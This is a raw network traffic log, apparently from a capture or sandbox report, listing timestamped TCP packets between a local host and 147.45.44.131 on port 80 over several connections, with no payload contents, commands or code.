Jan 2, 2025 19:14:17.082310915 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.082318068 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.082323074 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.082329035 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.082360983 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.082360983 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.082386971 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.085504055 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.085510015 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.085516930 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.085522890 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.085527897 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.085532904 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.085539103 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.085545063 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.085558891 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.085563898 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.085577011 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.085583925 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.085587978 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.085593939 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.085599899 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.085602999 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.085606098 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.085612059 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.085617065 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.085618973 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.085618973 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.085623980 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.085630894 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.085637093 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.085649014 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.085700035 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.085700035 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.095015049 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.095093966 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.095101118 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.095101118 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.095108032 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.095132113 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.095138073 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.095144987 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.095150948 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.095196009 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.095216990 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.095226049 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.095237017 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.095252991 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.095259905 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.095264912 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.095272064 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.095278978 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.095334053 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.095367908 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.095369101 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.096395016 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.096465111 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.096471071 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.096477032 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.096482038 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.096488953 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.096501112 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.096524000 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.096612930 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.096654892 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.096720934 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.096752882 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.096759081 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.096765995 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.096824884 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.096832037 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.096837997 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.096843958 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.096851110 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.096857071 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.096857071 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.096858025 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.096872091 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.096957922 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.096980095 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097143888 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097157001 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097163916 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097168922 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097174883 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097181082 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097193956 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097199917 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097206116 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097213984 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.097218990 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097225904 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097232103 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097238064 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097240925 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.097243071 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097251892 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097258091 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097264051 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097270966 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097273111 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.097278118 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097291946 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.097318888 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.097378016 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.097687960 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097727060 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097733021 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097739935 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097788095 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097827911 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.097881079 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097887993 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097893953 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097899914 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097907066 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097912073 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097918987 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.097984076 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.097984076 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.098063946 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.098195076 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.098201036 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.098206997 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.098212957 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.098220110 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.098225117 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.098231077 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.098236084 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.098242998 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.098252058 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.098265886 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.098272085 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.098278999 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.098292112 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.098313093 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.098339081 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.098345995 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.098351002 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.098362923 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.098366976 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.098366976 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.098368883 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.098429918 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.098443031 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.100266933 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.100272894 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.100279093 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.100327015 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.100363970 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.100367069 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.100374937 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.100385904 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.100398064 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.100400925 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.100490093 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.100749016 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.100754976 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.100760937 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.100842953 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.100856066 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.100862026 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.100867987 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.100883007 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.100888968 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.100894928 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.100905895 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.100928068 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.100928068 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.100934029 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.100939989 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.101003885 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.101005077 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.101031065 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.101037025 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.101042986 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.101047993 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.101052999 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.101068974 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.101082087 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.101089001 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.101133108 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.101136923 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.101139069 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.101146936 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.101208925 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.101208925 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.101241112 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.101247072 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.101253986 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.101258993 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.101264000 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.101283073 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.101316929 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.101336956 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.101344109 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.101344109 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.101350069 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.101453066 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.101454973 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.101461887 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.101475000 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.101476908 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.101479053 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.101489067 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.101495028 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.101524115 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.101581097 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.102405071 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.102411985 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.102417946 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.102428913 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.102435112 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.102464914 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.102464914 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.102472067 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.102530003 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.102619886 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.102627039 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.102632999 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.102637053 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.102642059 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.102648020 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.102653980 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.102659941 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.102670908 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.102677107 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.102682114 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.102688074 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.102693081 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.102699041 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.102713108 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.102713108 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.102730036 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.102768898 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.120842934 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.120943069 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.120984077 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121000051 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121006966 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121012926 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121025085 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121032000 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121037960 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121043921 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121049881 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121054888 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121062040 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121068001 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121073961 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121076107 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.121103048 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.121124983 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.121156931 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121171951 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121176958 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121187925 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121193886 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121198893 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121213913 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121222019 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121226072 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.121227980 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121233940 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121241093 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121246099 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121252060 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121257067 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121263981 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121269941 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.121269941 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.121296883 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.121304989 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121352911 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.121395111 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121401072 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121407032 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121412039 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121417999 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121423960 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121428967 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121457100 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.121598005 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121615887 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.121644974 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121650934 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121658087 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121685982 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121691942 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121697903 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121702909 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121737003 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.121738911 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121745110 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121763945 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121787071 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.121797085 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.121812105 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121819019 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121887922 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121889114 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.121892929 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121900082 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121906996 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121912956 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121918917 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.121952057 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.121995926 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.122001886 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.122009039 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.122014046 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.122020960 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.122025967 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.122033119 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.122045040 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.122127056 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.122226000 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.122232914 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.122239113 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.122245073 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.122251034 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.122256041 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.122262955 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.122267962 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.122297049 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.122373104 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.123650074 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.123661041 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.123667002 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.123723984 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.123730898 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.123739958 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.123747110 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.123754978 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.123769045 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.123785019 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.123940945 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.123990059 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.124027967 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.124042034 CET	80	49727	147.45.44.131	192.168.2.6
